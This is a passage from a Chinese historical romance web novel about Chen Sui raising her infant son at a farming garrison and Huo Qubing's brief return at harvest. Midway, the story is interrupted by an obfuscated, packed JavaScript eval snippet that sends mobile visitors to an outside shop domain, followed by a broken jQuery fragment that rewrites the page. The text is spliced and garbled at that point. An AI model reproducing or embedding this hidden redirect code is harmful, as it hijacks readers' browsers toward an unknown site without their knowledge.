霍去病走后的第一个月，陈穗的生活重新被另一种节奏填满了。白天她抱着孩子去田埂上走一圈，把襁褓搁在石台上晒太阳。孩子醒着的时候她会跟他说话，说这些麦苗是什么时候种的、水车是怎么转的、渠里的水从哪里来。他听不懂，但他的眼睛会顺着她手指的方向看过去，看着那些在风里晃动的绿色。她每天去巡田的时候抱着他走一遍，从东走到西，从水车走到粮仓，经过每一块她翻过的地时她会停一下，让他看看这块地现在长成了什么样子。
木棍老兵在一个午后拄着木棍过来，把一双新做的小鞋放在她帐门口。陈穗拿起那双小鞋看了看，鞋底是软布纳的，鞋面上绣了一株小小的麦穗，针脚细密，一看就是花了不少心思。她抬头看老兵：“你做的？”老兵别开脸看着远处：“闲得没事，做来玩玩。”他说完拄着木棍走了，走之前又看了孩子一眼，那一眼很短，但他笑了一下，然后走远了。陈穗把那双手工小鞋放回帐里，搁在孩子的枕头边上。
灰袍军医每隔几天来一趟，不是来看她，是来看孩子的。他每次来都带一小包东西，有时候是干艾叶、有时候是晒好的菊花、有时候是一小把洗干净的甘草。他把东西放在帐门口的石台上就走了，从来不多留，但每次他来都会蹲下来看一眼孩子。有一次孩子正好醒着看着他，他蹲在那儿跟孩子对视了一下，然后站起来说了一句“长得还行”，转身走了。
文吏的账本上又多了一列新的标题——“小一”。从满月那天开始记录：什么时候第一次翻身、第一次坐、第一次抓东西。他每记一笔就抬头看一眼营门的方向，像在等一个人回来好把这些记录交给他看。但他等的那个人还没回来，他就继续记着。
孩子三个月的时候会翻身了。有一天早上陈穗把他放在铺了厚毡子的矮桌上转身去拿水，回来的时候发现他已经从仰躺翻成了侧躺，正睁着眼看帐顶，像是刚完成了一件事。她走过去看着他，他也看着她。她蹲下来伸手碰了碰他的小脸：“你翻了？自己翻的？”他当然不会回答，但她蹲在那里看了他很久，然后她在心里记了一笔：等他回来的时候要告诉他，孩子第一次翻身是她不在的那一小会儿完成的。他错过了，但她会替他看。
孩子六个月的时候会坐了。那天傍晚陈穗把他放在毡子上靠着枕头坐起来的时候，他坐住了。大概坐了几息，然后慢慢往旁边歪了一下，她伸手扶住。她扶住他的时候他伸手攥住了她的手指，攥得很紧，像他爹攥着什么东西的时候一样紧，但力气小很多。“你爹说你叫霍一，”她说，“你也攥东西，跟你爹一样。”孩子听不懂，但他攥着她的手指没有松开。
到了秋天第一茬麦子熟的时候，霍去病回来过一次。只待了三天。他回来那天陈穗正在麦田边上抱着孩子看收割，听到马蹄声的时候她没有立刻回头，但她抱着孩子的手紧了一下。她先低头看了孩子一眼，又抬头转向声音来源的方向，他正翻身下马，隔着一整片被麦浪铺满的田野看着她。他也看她，目光先落在她脸上，然后落在他怀里那个襁褓上——那孩子正在吃自己的手指，睁着眼看天。他站在那里看了好一会儿才走过来。
他走到她面前的时候先看孩子，抱过去的时候动作比以前更熟练了。他抱着孩子站在麦田边上看着正在收割的麦子，低头跟怀里的孩子说了一句：“这是麦子。你娘种的。”孩子在他的臂弯里安静地待着，日光从头顶照下来把父子两人的轮廓收进了同一道暖色的光圈里。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920826|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那三天里他帮着收了粮食、修了一架水车的轮轴、给孩子刻了一片新的竹片。竹片上刻了一个字——“生”。他说这个字留给以后慢慢讲意思。陈穗收下了那片竹片放进木匣里，现在木匣里已经有三片属于孩子的竹片了：一、生、长。她不知道他刻满多少个字才会停，但她打算就这么收着，收满一个木匣。
三天后他走了。走的时候孩子正在睡觉，他没有叫醒他，只在襁褓边沿放了一片新竹片然后翻身上马走了。陈穗抱着醒来后的孩子站在帐门口望着他远去的方向，一直到队伍彻底看不见了才转身回帐里。孩子在她怀里咿呀了几声，她低头说：“你爹又走了。他还会回来的。”孩子眨了眨眼。她知道他听不懂，但她说了，因为这是真的。
秋天过了，冬天又来了。草帘是木棍老兵带着人盖的，水车的防冻是副将安排人做的，渠道的清理是屯田兵们自己轮班干的。她抱着孩子站在田埂上看着这一切都在照常运转，觉得自己像一根立在地里的桩子。她在原地站着，所有的事都绕着这根桩子在转，而她只需要站在这里等下一个春天。
她等的时候没有停下来。她继续写手稿，继续整理方略，继续带着孩子巡田。孩子会爬了之后她把他放在铺了毡子的田埂上让他自己爬，他在柔软的土地上爬得很慢，但每次抬头都能看到她就在不远处蹲着。他在她蹲着的方向爬过去，爬到一半就停下看着旁边的植物叶片上挂着的露珠，她也不催他，等他看够了再抬头继续爬。他抓了一把土放在手心里攥着，松开的时候土粒从指缝间漏下去，落在更多的土面上。她蹲在旁边看着他做这件事，忽然觉得这个场景跟她第一年蹲在盐碱地里摸土的时候一模一样。只是现在多了一个人。